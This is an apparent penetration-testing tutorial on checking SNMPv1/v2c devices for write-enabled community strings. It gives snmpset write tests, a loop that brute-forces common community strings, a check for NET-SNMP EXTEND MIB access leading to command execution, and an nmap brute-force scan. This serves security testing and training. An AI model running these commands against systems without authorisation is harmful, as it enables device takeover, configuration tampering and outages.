Skip to content
HackIndex logo

HackIndex

SNMP Write-Enabled Community String

3 min read May 15, 2026

SNMPv1 and v2c devices often configure a separate write community string alongside the read-only "public" string. "private" is the default write community on most devices. Write access allows modifying device configuration via SET operations and, on Linux systems running NET-SNMP, enables code execution through the EXTEND MIB.

Test for Write Access

Use snmpset to attempt a SET operation on a safe, writable OID. sysLocation (1.3.6.1.2.1.1.6) is harmless to modify and is writable on most devices that allow SNMP writes:

┌──(kali㉿kali)-[~]
└─$ snmpset -v2c -c private $TARGET_IP sysLocation.0 s "test" 
SNMPv2-MIB::sysLocation.0 = STRING: test

Successful response confirms write access. An "Access denied" or timeout means the string is wrong or write is not permitted.

┌──(kali㉿kali)-[~]
└─$ # Restore original value after confirming (if you noted it)
┌──(kali㉿kali)-[~]
└─$ snmpset -v2c -c private $TARGET_IP sysLocation.0 s "Server Room"

Identify the Write Community String

If "private" fails, brute force the write community. Many devices use the same string for both read and write — if you already have the read string, test it for write access first:

┌──(kali㉿kali)-[~]
└─$ # Test read string for write access
┌──(kali㉿kali)-[~]
└─$ snmpset -v2c -c $READ_COMMUNITY $TARGET_IP sysLocation.0 s "test"

If the read string does not have write access, scan for a separate write string:

┌──(kali㉿kali)-[~]
└─$ # onesixtyone does not distinguish read/write — use snmpset per-candidate
for community in private manager write admin secret; do
result=$(snmpset -v2c -c $community $TARGET_IP sysLocation.0 s "test" 2>&1)
echo "$community: $result"
done

Check NET-SNMP on Linux Targets

On Linux hosts running NET-SNMP, write access to the EXTEND MIB (1.3.6.1.4.1.8072.1.3.2) enables arbitrary command execution. First confirm NET-SNMP is running:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v2c -c public $TARGET_IP sysDescr 
SNMPv2-MIB::sysDescr.0 = STRING: Linux target01 5.15.0-91-generic #101-Ubuntu SMP x86_64

Then check if the EXTEND MIB is accessible with write access:

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v2c -c private $TARGET_IP 1.3.6.1.4.1.8072.1.3.2

A response (even an empty table) confirms the MIB is accessible. Write access to this MIB allows creating EXTEND entries that execute arbitrary shell commands when the OID is read. See SNMP Write Abuse – RCE via NET-SNMP-EXTEND-MIB for the full exploitation workflow.

Impact Assessment

Write access via SNMP enables:

Target type

Write impact

Linux (NET-SNMP)

RCE via EXTEND MIB — shell commands execute as SNMP daemon user

Network device (router/switch)

Modify routing tables, VLAN config, interface settings, SNMP trap destinations

Printer/IoT

Factory reset, configuration wipe, credential change

Windows (SNMP service)

Limited — Windows SNMP service write support is restricted by default

For network devices, SNMP write access is often more impactful than read — routing table modification or SNMP trap redirection can cause outages or redirect traffic.

Verify Nmap Detection

Nmap does not directly test write access, but the snmp-brute script discovers both read and write community strings if they differ:

┌──(kali㉿kali)-[~]
└─$ nmap -sU -p 161 --script snmp-brute --script-args snmp-brute.communitiesdb=/usr/share/seclists/Discovery/SNMP/snmp.txt $TARGET_IP 
161/udp open  snmp
| snmp-brute:
|   public - Valid credentials (read)
|_  private - Valid credentials (write)

Nmap identifies write strings when the wordlist includes them. Confirm write access with snmpset after discovery.

References